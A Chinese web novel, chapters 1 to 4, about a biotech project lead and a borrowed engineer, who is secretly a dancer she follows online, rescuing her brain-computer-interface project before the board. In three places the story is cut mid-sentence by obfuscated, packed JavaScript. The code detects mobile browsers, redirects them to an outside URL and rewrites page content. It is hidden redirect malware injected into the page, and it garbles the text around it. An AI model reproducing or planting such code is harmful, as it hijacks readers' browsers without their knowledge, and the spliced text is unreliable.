《让我先谈》
1. chapter 01
周四,18:27。
暮色沉降,秋分后的天幕像一块被淬过火的琉璃,蓝得发冷。
陈也柠按指纹推开玻璃门,电梯厢的镜面映出她略显凌乱的倒影:白色西装袖口沾了黑色签字笔划痕,口红因为连轴转已经斑驳。她没空补妆。电梯里信号断断续续,微信图标转了半天才吐出一条消息。
集团财务长发来通告:
“所有三级项目,明天18:00前提交商业化路径与可运行demo,逾期即停预算。”
生物科技中心7楼。
门一开,冷气裹着淡淡的消毒水味扑面而来。陈也柠把手机滑进口袋,高跟鞋踩在大理石地面,声音干脆。
开放办公区里,有一半人已经下班。留下的人抬眸瞄了一眼陈也柠后,都立刻低头装死,谁都不想在这个时候和她有视线接触。
大家已经听说了,董事会发了“死亡通知单”。在这之前,赵聿明就一直想要砍掉她正在做的“非侵入式脑机接口下肢康复”——公司内部名称为“再立”的项目。
陈也柠刚在自己的工位上坐下,就收到人事部发给她的邮件:
关于再立项目紧急借调事宜:
许翊年,算法工程师,明早九点报到,支援时间为一个工作日。
同一时刻,园区另一栋楼。
许翊年拎着外卖袋,刷卡穿过闸机。
黑色鸭舌帽檐压得很低,上面还套了一层黑色卫衣的帽子,只露出一点挺直的鼻梁。
卫衣口袋里的手机震动。
组长:“翊年,临时救火,明早九点,你直接到生科7楼找再立项目的陈也柠。”
许翊年在自己的工位上坐下,视线留在手机屏幕上。
再立吗?
他在心里默念了一遍,回复组长:“收到。”
7楼走廊尽头。
陈也柠端着咖啡,听见她的直属上司,也是公司的首席技术官赵聿明打电话的声音从门缝里漏出来,带一点笑:“……砍掉她,专利自然归技术研发办公室。董事会?董事会才不管这些,他们只看利润表上的数字。”
陈也柠垂眸,看了一眼腕表。
倒计时23小时,现在开始。
晚十二点半,7楼只剩陈也柠一个人。
陈也柠坐在工位上向后仰头,拉了拉脖颈肌肉,电脑屏幕上是尚未优化完成的商业化路径PPT。
她戴着纯钛的金丝猫眼防蓝光眼镜,长发挽了起来,鬓角有几缕发丝被汗水黏在耳后。
为了把再立项目的成本模型压到令人无可指摘的区间,她已连续改了N稿。
最后一页“三至五年盈利预测”死活算不平,她摔了鼠标,整个人往后仰进椅背,太阳穴突突直跳。
闭目歇了半分钟后,陈也柠睁开眼睛,依旧保持后仰半躺的姿势,摸出手机,打开抖音,点进自己的收藏,里面躺着十来条视频,都是来自一个ID名叫摩卡的舞蹈博主的。
单是看着铺满收藏夹的封面,陈也柠的嘴角就已经开始忍不住上扬。
她随手点进一条,做着数不清第几次的反复品鉴~这几条视频次次看,次次把她钓成翘嘴。
屏幕里,男生戴着黑色口罩,黑色帽檐压到眉骨,舞蹈风格以HIPPOP为主,举手投足间自信又松弛的小感觉精准狙击陈也柠的心脏。
屏幕外,陈也柠像在高原猛吸了一口氧气瓶,一边嘴角上扬地品着视频里男生带着小劲,让陈也柠看了颅内非常舒适的律动,一边慢慢恢复血条。
来回吸了几遍收藏里的视频后,陈也柠点开摩卡的主页,一个小时前,他刚刚发布了一条新视频。
是节奏感极强的一段现代编舞。
他的肩、肘、腕像在同一拍里拆成三段,腰胯的wave又低又稳。跳到副歌,卫衣下摆随动作撩起,腹沟线条一闪即过,还是让陈也柠瞬间瞪大了眼睛。
评论区没有意外地已经沸腾了。
【哎呦喂,摩卡今天这么大方!】
【想在主包的腹肌上滑滑梯嘿嘿】
【喜欢!爱看!多拍!】
【我这辈子必须要谈一个这样的!】
陈也柠总是会被网上这些姐妹们逗笑,上头跟评:“让我先谈!!”
隔壁栋楼早已熄灯,只有走廊尽头亮着一盏冷白的自拍灯。
灯架下,手机支架竖直立着,镜头对准一位戴黑色口罩,黑色帽檐压到眉骨的男生。
许翊年按下录像键,同时,音乐炸响。
明后天的素材录好以后,许翊年收拾好背包走出办公楼,一边走一边打开抖音后台,看了眼大家对新发布作品的评论。
下滑的指尖在一个名叫【柠檬耶】的ID上停下,许翊年看到她点赞并评论:让我先谈!!
许翊年脚步一顿,同时抬头,看到隔壁栋7楼的灯还亮着。
脑袋里同时想起组长让他明天去应急报到的通知,许翊年口罩下的唇角无声勾起,忽然对明天有点期待了。
翌日,08:58。
生物科技中心7楼,玻璃门禁“滴”一声打开。
陈也柠昨晚熬到了接近凌晨五点才离开,几乎就是回家洗了个澡换了身衣服。
烟灰色真丝衬衫的袖口挽到小臂,露出冷白皮肤。
陈也柠踩着高跟鞋,手里拎着一杯加浓冰美式,因为过困而面无表情,显得更加气质清冷。
电梯门一开,她先扫到前台旁站着一个陌生男生,黑色连帽衫、黑色双肩包。
人事小姑娘跟在后面:“柠姐,这就是我昨天发给你的邮件里提到的算法工程师,许翊年。”
陈也柠停下脚步,视线留在了男生脸上,发现他还有一双极黑极静的眼睛。
“好,谢谢你。”陈也柠对人事点了下头,走向许翊年,自我介绍:“我叫陈也柠,是再立项目的负责人。”
许翊年看着陈也柠清冷的表情,声音低却清晰:“我叫许翊年。”
时间有限,互相知道名字后,陈也柠继续向前,“跟我来。”
许翊年跟在她半步之后,视线落在她挺拔的背影与利落的步履上。
昨晚那条评论在心里无声重播:
【让我先谈!!】
许翊年弯了弯唇,却没出声。
陈也柠领着许翊年走进实验室,百叶窗半阖,晨光被切成冷白色的平行线,铺在防静电地板上。
实验台中央,小鼠跑步机刚完成自检,发出单调的“滴——”。旁边那台黑色笔记本电脑用扎带固定在移动机架上。
陈也柠直入主题,声音充满理性:“项目组其他人临时被调走,今天只有我们两个。你的任务是,在下午两点前,让这只下肢瘫痪的小鼠在跑步机上完成10秒步态闭环,延迟压进80毫秒。”
说话过程,陈也柠目光冷静到近乎锋利,落在许翊年年轻的面庞上。
对于这位临时借调成员的技术实力,陈也柠已经没有多余的时间存疑,只能选择相信。
许翊年“嗯”了一声,把背包放地上,掏出电脑。
他单手掀开屏幕,立
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535516|186532||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刻进入状态:“给我原始肌电数据。”
陈也柠:“在服务器,权限被锁了。”
许翊年抬眼看陈也柠,指尖顿了几秒,继而重新落回屏幕:“好吧,那我用本地仿真沙盒。”
陈也柠挑眉:“你什么时候镜像数据环境的?”
许翊年敲下回车,数据流开始在本地终端滚动:“昨晚,接到通知的时候,顺手。”
陈也柠眉尾微挑,心里那根因为不确定而紧绷的弦,悄无声息地松了半拍。
随后两人再无对话。
实验室里只剩两种声音。
他全神贯注地敲击机械青轴;
她时而点击鼠标,时而敲击键盘修改数据。
商业计划书上,PPT第十七页,“成本-延迟”曲线还缺一条数据,Excel表预算栏依旧飘红。
陈也柠每调整完一个数字,便抬眼扫一下跑步机。
试验小鼠还在原地嗅探,毫无进展。
11:45。
键盘声与风扇声仍在叠加。
陈也柠转动了一下僵硬的脖子,习惯性地掏出手机,想打开抖音吸一口氧。
熬夜加压力,让陈也柠忘了空间里还有另一个人的存在,等到被视线灼到以后,陈也柠才反应过来。
熟悉的音乐打进耳膜,许翊年有些惊愕地从电脑屏幕上抬头看向陈也柠,他瞬间辨认了出来,那很明显是自己的视频。
只见陈也柠嘴角抑制不住的笑容,因为自己的注视而打住了。
她头皮微微一麻,随后收起手机,起身走到他身后,确认实时数据。
小鼠数据跑完第一轮,延迟94毫秒,距离目标值80毫秒还有距离。
“不够。”陈也柠皱眉,仿佛刚刚电光火石之间什么也没发生过。
许翊年饶有兴致地盯着若无其事的陈也柠,嘴角的笑容飘起一秒钟就被他压了下去。
他低头重新看着屏幕,说:“再给我十五分钟。”
十五分钟。
真是刷视频疏解压力的完美时长。
……
陈也柠坐回自己的位置,大脑抗拒继续工作。
就在她深刻体验戒断反应的时候,许翊年从卫衣口袋里掏出蓝牙耳机戴上,似乎在告诉陈也柠,我什么也听不见,你随意。
陈也柠还真被诱惑到了,不过随后她想,不完全是声音的问题,主要是表情的问题。
看男人跳舞视频不笑,滋味减半。
最终陈也柠什么也没做,让大脑放空了十五分钟后,跑步机“滴——”一声长鸣。
小鼠在履带上稳稳迈出10秒标准步态,延迟77毫秒。
数据打包上传,许翊年摘下耳机,还没来得及庆祝,陈也柠的手机铃声响了起来。
董秘的声音平稳:“柠总,下午三点,方便来楼上做项目汇报及演示吗?”
陈也柠皱眉反问:“昨天不是通知今天下午六点交?”
董秘的声音依旧没有过多情绪:“是的,但有几组已经提前交了,如果大部分人都没问题的话,董事长想提前开会。”
到底要卷成什么样。
陈也柠心里啧了一声,叹了口气回答:“行。”
电话挂断,陈也柠同步消息给许翊年。
许翊年不甚在意,语气淡淡:“还有三个小时,需要我把延迟再降5毫秒吗?”
陈也柠烦躁暂停,看着少年自信又松弛的样子,微微一怔,有某种熟悉的感觉打进她的颅内,仿佛在高原上吸了一口氧气瓶。
2. chapter 02
距离会议开始还有15分钟。
实验室里,实时数据显示,延迟被压进了72毫秒。
陈也柠和许翊年同时合上电脑。
陈也柠深吸一口气,看向许翊年,对他说:“时间差不多了,走吧,一起去楼上开会。”
许翊年把背包往肩上一甩,声音低却带着明显的抵触:“你是要让我演示赵聿明的原始模型吗?”
陈也柠对于许翊年的话表示微微诧异停顿:“不然?”
许翊年没有回答,沉默着和陈也柠一起走出实验室。
谁都不知道,这次借调对许翊年来说是多大的惊喜,可是当他拿到赵聿明的原始模型的时候,他才发现项目和他想象中的模样完全南辕北辙。
公司首席技术官赵聿明做的原始模型,延迟120毫秒,步态漂移18%等粗糙之处就不细究了,最大的问题是,模型的假阳性。
电梯逐渐升上楼,两个人同时站在电梯门前。
就在这个时候,许翊年轻轻皱起眉头,像是想明白而下了决心一样,开口说:“我不演示他的模型。”
陈也柠通过电梯门镜面,瞥了许翊年一眼,虽未出声,但那略显烦躁又漠然的神情,分明在说:你发什么神经。
许翊年因感到失望而语速放慢:“赵聿明做的是作弊模型,被训练成可以提前知道测试路线,完全就是为了演示或者融资而做的版本。测试路线一变,它就完全失灵;换一个新的实验对象,假阳性率就会飙升,根本毫无价值。我不会用技术来撒谎,用这样的模型骗董事会一次,我不确定还要再做什么来骗人第二次、第三次。一旦出了一点差错,还会有人再相信这个项目吗。”
在这个节骨眼上,陈也柠不想要争论这种深度话题,就这么十几分钟的时间,也争论不明白。
她果断地对许翊年说:“先在会议上把赵聿明的模型跑通,保证项目不被砍再说。”
许翊年的态度很坚定:“我说了,我不演示他的模型。”
陈也柠看向许翊年,颇有些动怒的意思,问他:“你突然之间的英雄主义是哪里冒出来的?”
许翊年已经对项目原始模型建设人感到失望了,他不想看到掌握项目方向盘的人也出了偏差。
想到这,许翊年越发坚定地说:“如果项目被贴上用技术手段弄虚作假炒概念圈钱的标签,以后别的团队想再申请资金都可能被连坐否决。这个项目不属于你个人。”
陈也柠:“……”
陈也柠恼怒地转身直视许翊年执拗的黑眸,随即瞥了一眼电梯楼层显示屏,这个动作也是在做给许翊年看,接着问他:“那你想怎么样?撂挑子吗?”
许翊年回视着陈也柠的视线,说:“让我改模型。”
电梯门叮地一声打开。
走廊,董事会的会议室门口已经聚了几位高层领导人。
赵聿明便是其中一位。
他的出现,意味着陈也柠和许翊年的对话只能先没有结果地中断。
“这就是那位临时被调来救急的小伙伴吧?”
赵聿明看了一眼许翊年,对于他年轻的面貌感到十分满意。
面貌年轻,想来技术必然青涩。
陈也柠将视线从许翊年脸上移开,回答赵聿明:“嗯,他是原先在耳机监测组的许翊年。”
作为新人的许翊年还是礼节性地喊了声:“赵总。”
赵聿明笑着对他点了点头,转向陈也柠说:“走吧,会议马上开始了。”
陈也柠看了许翊年一眼,忧心地跟着赵聿明一块进了会议室。
人齐以后,坐在主席位的董事长开口说话:“想必大家已经听说,集团三季度财报数字很不乐观。今天的会议,就是要众志成城,一起重新评估一下公司在运营的核心项目。一切两年内无法商业化落地的项目,我们都必须重新评估继续投入资金和人力的价值。”
说罢,董事长看向在座的各项目负责人,废话不多说:“谁先来?”
众所周知,开场虽然可以拿一些新颖分,以及没有对比下的宽容分,但也最容易被追问细节,没人出声。
董事长看向陈也柠。
陈也柠笑笑说:“我之后吧。”
董事长意外地抬了抬眉,尊重陈也柠,视线看向下一位人选。
依旧是众所周知,最后一个讲,不仅大家都疲倦了,还有一个最大的风险,是如果前面的项目都过了,预算就全部被占用完了。
陈也柠拿出手机,调低屏幕亮度,发消息问许翊年:“现在让你改模型,要多久?”
坐在陈也柠边上的许翊年停下已经开始修改的动作,切换应用,回复消息:“两个小时。”
这个时间简直就像拉到最极限的皮筋一样。
陈也柠咬着牙回复许翊年:“给你一个半小时。”
许翊年抬了抬嘴角:“收到。”
战况比想象中惨烈。
前面的项目一个接一个被董事会成员“凌迟”:
基因测序管线项目,被砍30%预算;
VR康复游戏,项目直接被停。
……
财务长每敲一次笔记本键盘最右侧的数字键,陈也柠心口就紧一分。
她侧头瞄向许翊年,少年戴着蓝牙耳机,一副与世隔绝的状态,指尖在键盘上无声狂奔,屏幕角落的倒计时插件闪着“47:33”。
轮到陈旬上场,赵聿明寄予厚望地面带笑容,视线追随。
投影首页写着陈旬组负责的项目名称:灵犀——基于闭环深部脑刺激的实时情绪解码系统。
陈旬用10页PPT把自己的项目吹成明年现金流奶牛。
最后一页用加粗加大的字体写着:
【预计营收1.8亿】
【FDA绿色通道已获批】
董事长点了点头,目光意味深长,提问还在台上的陈旬:“我没记错的话,你的项目和也柠的项目,用的都是脑机接口的技术?”
陈旬:“对,核心技术是一样的,只不过我的项目是侵入式的,柠总的项目是非侵入式的。”
董事长:“你PPT上面写的已获批FDA绿色通道,指的是?”
陈旬:“单指侵入式这个项目。”
“行。”董事长看向陈也柠,突然点名:“也柠,你和陈旬的项目相似度很高,不如你就接着讲吧?”
陈也柠心一提,瞥了一眼许翊年,他的指尖还没有停下来。
所有人的视线已经陆陆续续落在了她身上。
许翊年屏幕角落的倒计时插件显示“15:09”。
陈也柠没有办法在众目睽睽之下确认许翊年的修改进度,许翊年头也没抬,没有给她任何提示。
陈也柠只能赌一把了。
她起身,走到投影前,开始用慢于平常的语速,讲她那份商业化路径PPT。
据并没有科学依据的观察结果可知……一份PPT的讲解时间倘若超过8分钟,听众便开始陆续出现放空,分神的状态了。
所以把核心数据精简在10页以内,讲解时间控制在10分钟以内,是最理想的。
深谙此道的陈也柠,此刻已经硬着头皮讲了14分钟。
许翊年的电脑屏幕左侧是赵聿明的原始模型,右侧则是他正在实时修复的分支。
屏幕上的各种数据,滤波器阶数、漂移条、非线性补偿模块等等,在和时间竞速一般飞速滚动。
陈也柠的PPT已经在倒数第二页停留超过2分钟,她也绞尽脑汁,顶着例如赵聿明,例如陈旬等人逐渐疑惑的目光,现场自由发挥了2分钟。
终于,陈也柠看到许翊年停下了指尖,抬起了头。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535517|186532||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
虽然许翊年没有动嘴,也没有比任何手势,但陈也柠就是在他脸上看到了两个字母——OK。
陈也柠松一口气,快进到结尾,接着说:“下面请我们的算法工程师许翊年为大家做可运行演示。”
座位上的赵聿明单手支头,看着穿着一身黑,标准初级工程师休闲打扮的许翊年不紧不慢将转接线连上自己的电脑,眼底藏着玩味的期待。
就连陈也柠也不清楚现在到底如何了。
全场只有一个少年对情况心里有数。
等待的过程中,陈也柠心想,下次不能再这么纵容了,项目负责人是她,都得听她的。
一切准备就绪,许翊年看了陈也柠一眼,陈也柠对他点了个头。
许翊年按下回车,实验室跑步机实时画面在投影屏上弹出,瘫痪的小鼠稳稳迈步,右上角延迟实时刷新:
81ms→79ms→77ms。
董事长身体前倾,第一次露出感兴趣的神色。
与此同时,赵聿明也身体前倾,不过神色却是意外和凝重的。
再立项目预研之时,赵聿明只把它当成技术储备,随手写了份粗浅的模型,其中有什么样的漏洞,他心里非常清楚。
“数据挺漂亮,但稳定性未知。”跑成这样,赵聿明认定用的已经不是他的原始模型了,“人体实验会不会翻车啊?”
陈也柠的声音不疾不徐:“我们是在赵总您的原始模型上做优化的,稳定性应该不是问题。”
不可能。
赵聿明看向陈也柠边上那张新鲜面孔,不相信就凭这样一个年轻人,能够在24小时不到的时间里,在他的框架上修改到这个地步。
是聊到稳定性了吗?
许翊年忽然开口,声音不高,却让整个会议室安静:“我们可以在15分钟内跑完10只盲测小鼠,现场验证稳定性。”
这是许翊年在最后五分钟内写好的批量脚本。
与会人员陆续将视线看向董事长。
董事长首肯:“那就现场验证一下。”
许翊年向技术同事申请了10只小鼠,20分钟后,投影上的镜头切分屏。
脚本一键启动,10条延迟曲线同时刷新,延迟全部落在70–80毫秒区间,步态重合度93%。
把董事长给看激动了,结合陈也柠PPT上的数据,当即拍板:“这个项目可以继续做,追加300万预算。”
陈也柠听到结果,先是愣了半拍,仿佛心脏被人猛地攥紧又松开。灼热的血液瞬间涌上耳膜,她听见自己心跳在胸腔里“咚咚”作响。
她想笑,却先红了眼眶。
为了这个项目,连续三个月,她每天在公司就像打战一样。
一开始,因为项目走的是低成本的惠民路线,公司内部立了个项之后,就把项目丢到了陈也柠手上,没有人在乎蚊子肉。
是陈也柠觉得项目是好项目,坚持钻了下去,不仅把项目推进到今天这个可演示的进度,还拿下了许多算法专利。
其中一项专利,正好可以用在陈旬那个油水极多的项目里。
于是乎,赵聿明便开始明里暗里,各种给陈也柠使绊子。
砍预算,调人,变着法子让项目活不下去,想让她把专利让出来。
再立项目说是陈也柠拉扯大的孩子都不为过。
好不容易养大了,程咬金杀了出来,张口就要抢现成的。凭什么?
陈也柠硬着头皮,PPT改了不知道多少版,低声下气各种求人帮忙。
终于,所有窒息的黑暗被董事长一句“追加300万预算”劈开一道天光。
陈也柠转头去看许翊年,许翊年也在同一时间转头看她。
会议室里的嘈杂像被按下静音键,他们的目光在空气里轻轻一撞,化成了默契的笑容。
3. chapter 03
会议室的灯渐次熄灭,人影在走廊里拉长又缩短。
董事长起身时,顺手拍了拍赵聿明的肩:“聿明,你盯一下FDA的时间点。”
赵聿明微笑点头,声音不高,却刚好让还没走远的陈也柠和许翊年听得清楚。
“也柠,一个月内准备好预提交材料,应该没问题吧?”
陈也柠脚步一顿,仿佛刚刚熬过一浪,下一浪又猛地扑打了过来。喘息的时间只有那么几秒。
陈也柠声音平稳:“没问题。”
……
电梯“叮”一声停在7楼,门缓缓滑开。
许翊年低头看了眼手机屏幕,18:23。
他步子慢了半拍,最后还是跟着陈也柠的背影一起走出电梯。
陈也柠挽着袖口,脑子里都是赵聿明那句“一个月内准备好预提交材料”。
她焦虑地像在自言自语:“我得把今天跑的数据全部补录成GLP格式,你要不要……”
“我得走了。”
许翊年停下脚步,在后头截断她。
陈也柠也终于停下脚步,转头看向许翊年,看到他的身上已经卸下了方才在会议室里的紧迫,似乎状态已经从项目当中抽离,陈也柠的眉尾很轻地挑了一下。
空气的流动像被谁调慢了0.5倍速。
许翊年对着陈也柠很淡地抬了下嘴角,说:“借调时间到了,我的任务结束了。”
停半拍后,许翊年嘴角的弧度抬高些许,补了句官方又暗带着点欠揍意味的,“祝你项目顺利。”
陈也柠的内心旋即涌上一股某一小块被抽走的感觉。
如果我开口留他,他有可能留下来吗?
陈也柠看着许翊年的眼睛,心里在思考这个问题。
她不知道许翊年此刻内心OS是——
留我。
随便什么理由都行。
两个人的视线在互相试探与拉扯。
最后陈也柠想到了上楼的电梯里,许翊年突然自我意识大觉醒的记忆。
算了,这种关键时刻走钢索的事,她不想再经历第二次。
陈也柠开口对许翊年说:“我请你吃个晚饭吧,谢谢你这次的帮忙。”
没了?
许翊年微眯了眯眼眸,半晌,确定真没了之后,他淡淡回应:“不用了,我晚上有事。”
虽然话是这么说,但许翊年的目光还留在陈也柠脸上。
陈也柠没有停顿,说:“那好吧,有机会再见。”
许翊年愣在原地,喉结滚了滚。
三秒后,他也转身去摁电梯,两个人的离开都干脆得像突然被剪断线的风筝。
当晚十点。
直播间标题照例只有简洁的三个字:聊天局。
背景是一面空白的墙,顶灯调到最暗,像给口罩镀了层金丝柔光。
在线人数5000+。
许翊年戴着黑色口罩,只露眼睛。他单手撑着下巴,另一只手滑着弹幕,语气懒懒:“今晚不跳舞,我标题写了,聊天局。”
弹幕一片哀嚎。
【啊?今晚不跳嘛?跳嘛!!】
【哥哥哥哥哥哥,康康腹肌~】
【你直播时间这么随意,好不容易蹲到一次,还看不到你跳舞,天塌了。】
一条弹幕飘过:
【柠檬耶:想看主播跳大框架HIPPOP~~】
末尾跟了个小黄人舔屏的表情。
许翊年滑屏的指尖停顿住,眼尾弯了一下,嗓音低低地“嗯?”了一声。
“想看大框架HIPPOP?”许翊年像向下放钩子一样慢悠悠地读着这条弹幕,想了一会账号主人早些时候转身离开他时干脆的样子,虽然有点……不爽,最后还是满足她,“那行吧,晚点跳。”
弹幕瞬间刷疯:
【不是,哥你变了!你以前没这么好说话的。】
【那我也要点,我想看主播跳女团舞】
许翊年依旧懒洋洋地挑着弹幕读:“想看主播跳女团舞。行,你想着吧。”
弹幕主人因为被区别对待而撒泼打滚——
【昂——————————】
彼时,陈也柠已经洗完澡惬意地躺在沙发上,她一边心情放松地看着主播和弹幕斗嘴,一边花痴地细品着主播的颜值。
虽说屏幕里的男生戴着口罩并之看不清楚全貌,但帅是一种感觉,这句话可以反复吟诵。
陈也柠咬着指甲盖盯着屏幕里的摩卡看了许久之后,又在弹幕框里打字:
【喉结杀我】
许翊年扫到这条,喉结真的滚了一下。
这陈也柠……
平时在公司装得挺高冷。
许翊年垂眼,把笑意藏进口罩里,声音却一本正经:“喉结杀谁?不准碰瓷。”
弹幕:
【杀我杀我!】
【哈哈,哥你耳朵好红,怎么突然红温了。】
许翊年:“……”
调戏完主播,陈也柠把手机随手搁在沙发上,开始做晚间护肤。
许翊年懒散的声音继续:“主播是职业舞者吗?不是。也不是职业自媒体。主业是什么,主业消防员,帮人应急灭火的……不是,开玩笑,主业保密。”
许翊年一般一周播一次,一次播一个小时。
他瞄了眼时间,剩最后十分钟。
“要不要看跳舞?“
弹幕一排下来都是【要!!!!!!!!!!!!】
许翊年依旧单手支头,单手滑屏幕,看了好久,也没看到陈也柠的ID。
许翊年干脆开口问:“刚刚说要看大框架HIPPOP的还在吗?”
依旧不见陈也柠。
许翊年直接点名:“柠檬耶?”
与此同时,陈也柠已经抱着手机躺在了床上,开始刷别的博主的视频了。
“……”反应过来自己反向被鸽的许翊年:“不跳了不跳了。”
弹幕:
【我们看呀!!!!】
【女团舞女团舞】
许翊年:“跳什么女团舞……别想。”
【呜呜,主播为什么突然这么凶】
许翊年冷静下来:“……没凶。”
新的一天,上午九点。
陈也柠刚踏进7楼,前台小姐姐就从工位上起身,对她说:“柠总,赵总让我请您直接去他办公室开会。”
秋阳从开阔的落地玻璃洒了进来,铺在乌木桌面上。
陈也柠敲门进赵聿明办公室时,看到陈旬已经在了。
“来啦。”见到陈也柠,赵聿明招呼她:“过来坐。”
见陈也柠手上还拿着笔和记事本,赵聿明神色轻松地说:“没什么要记的,就是简单聊聊人员分配的事。”
陈也柠看向坐在赵聿明对面的陈旬,陈旬坐着,抬手拉开身旁的椅子,示意陈也柠坐这。
陈也柠坐下后,赵聿明的助理妍姐敲门进来,默默将笔记本电脑连上投影。
陈也柠看到投影材料上标题写着:生康事业部人力资源再分配_初稿。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535518|186532||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
赵聿明:“昨天那场会议之后,有些项目被砍,有些项目优先级调整。关于人力资源方面,我们得重新规划一下了。”
陈也柠不知道赵聿明的初稿是和谁规划出来的,可能是陈旬吧。陈也柠表情淡定,控制得很好,眼眸都没有移一眼,专心去看投影上的名单。
赵聿明真真假假的解释在办公室里回荡,陈也柠左耳进右耳出,一句也没记住。
她只知道,表面上,再立项目组的人比之前多了,但她信赖的核心成员全被移走,留下的都是唯赵聿明命是从的人。
郑敏——赵聿明的心腹,曾以“砍成本”名义砍掉她两个外包合同;
李律——去年代表技术研发办公室,逼她签过专利共享补充协议;
周舟——唯一一个干实事的工程师,但赵聿明说左,绝对不敢向右的人,活脱脱一傀儡。
都他妈的什么牛鬼蛇神。
赵聿明:“FDA的事,董事长也在盯。所以,我特地往你们项目组多调了几个人。”
陈也柠笑了一声:“谢谢啊。”
“我们是一个大家庭,只是每个人有不同的分工,讲什么谢谢,这么客气。”赵聿明:“这只是初稿啊,随便调整。也柠你看看,还有什么需要支持的,尽管开口。”
陈也柠是得谢,谢赵聿明提醒她,她面前有座FDA的大山得爬。
“一个月要完成FDA的预材料,时间确实很紧。”
赵聿明静静地、微笑地听陈也柠先吐苦水。
虽然材料上面写着初稿两个字,但其实赵聿明就像在EXCEL表上下棋一样,已经研究了无数遍。无论陈也柠想怎么走,他都能稳稳地启动下一步。
陈也柠:“我想申请把许翊年调过来。”
赵聿明的笑容带着物理惯性在嘴角停留了两秒后,终于僵住了。
……
赵聿明:“许翊年?”
陈也柠声音平稳:“我需要他,保证接下来一个月内完成模型优化。”
赵聿明:“这周舟也可以做得到吧?”
陈也柠:“周舟保证项目常规性工作,许翊年专项做FDA的申请工作。”
赵聿明沉默了下来,显然不太乐意。
赵总,你以为我乐意,陈也柠在心里想,她错过了最佳开口留下许翊年的时机,这会儿估计还得去求他……
赵聿明:“许翊年不是我们事业部的,借调一天两天的好说,一个月,沟通成本可能都不止。”
陈也柠:“如果他主动申请调过来呢?”
赵聿明挑眉:“你们……之前认识?”
陈也柠:“不认识。”
赵聿明:“他对我们事业部这么有兴趣?”
陈也柠:“倒也没有。”
赵聿明:“那他为什么会主动申请调过来?”
陈也柠:“事在人为嘛。”
赵聿明又疑惑地眯了眯眼:“……如果他主动申请调过来,我没有意见。”
陈也柠嘴角划开一抹笑容,看起来很有自信,实则自信心为零道:“那就这么说定了。”
走出赵聿明办公室时,陈也柠后颈全是冷汗。
冷气吹得她指尖发木,她这才发现掌心还攥着那只没拧开的黑色水笔,笔帽在虎口压出一道深红的月牙。
一个月,FDA预材料……还要让许翊年主动申请调岗。
陈也柠苦笑了一声,在心里倒计时:29天23小时47分……==。
任务第一步,先把许翊年骗到手。
4. chapter 04
陈也柠回到工位,发现自己甚至没有许翊年的联系方式……
她打开钉钉,找到许翊年,给他发了个消息:“下楼喝杯咖啡?”
想了想,陈也柠觉得自己邀请的语气似乎有些硬邦邦,又调整了一下:“这会儿有时间吗?一起下楼喝杯咖啡?”
陈也柠斟酌着这句话,觉得又过于含蓄了一些,最后一次删改:“要不要一起下楼喝杯咖啡?”
……
那头过了半个小时才回过来。
等待的时间里,陈也柠心想,这辈子没这么迫切地想收到一个男人的消息……
许翊年:“?”
陈也柠:“谈点公事,关于再立。”
屏幕另一头,许翊年看着陈也柠简洁的句子,回想另一个人格的她在弹幕里发的什么【喉结杀我】,舔屏表情包,从鼻腔里发出一声笑。
许翊年:“好。”
园区下沉式咖啡厅。
桌面上放着两杯冰美式,以及从窗外照进来的斜阳光斑。
许翊年推门进来,依旧是黑色的卫衣,黑色的牛仔裤。
坐下以后,陈也柠发现许翊年眼尾微红,总是一副要打哈欠的样子。
陈也柠心头一紧,想,他手上的项目很忙吗……这可不是一个好讯号。
陈也柠把咖啡推给许翊年,许翊年没接,只抬手捏了捏鼻梁,懒洋洋地看她:“不是说任务结束了吗?怎么又把我叫出来?”
“借调是结束了,”陈也柠看许翊年态度挺疏离,顿了顿,说,“不是还没请你吃饭吗。”
“哦。”许翊年终于伸手接起咖啡,漫不经心调侃:“请咖啡。”
陈也柠心想,把你拽的……
“真要请你吃别的,你又跟我说没空。”
许翊年轻轻地笑了一下,用一副困得要死的表情啜了一口咖啡后,往后一靠,懒懒的视线看着陈也柠,仿佛在说——
说吧,什么事。
陈也柠深吸一口气,对许翊年说:“你昨天也听到了,董事长要求一个月内提交再立项目的FDA预材料。”
许翊年表情淡淡的,连眉毛都没有挑一下,对于陈也柠找他的目的,许翊年心里多少有些底。
他要听陈也柠明明白白地说给他听,否则他一律当作不知道,不理解,不明白。
“……”陈也柠:“所以,项目现在缺人。”
陈也柠想许翊年是聪明人,应该能懂她是什么意思。
哪知,许翊年只是用一脸“哦,这样啊,那跟我又有什么关系”的表情看着她。
陈也柠:“……”
……
……
见人不搭话,陈也柠只好主动问:“你有没有兴趣来再立项目?”
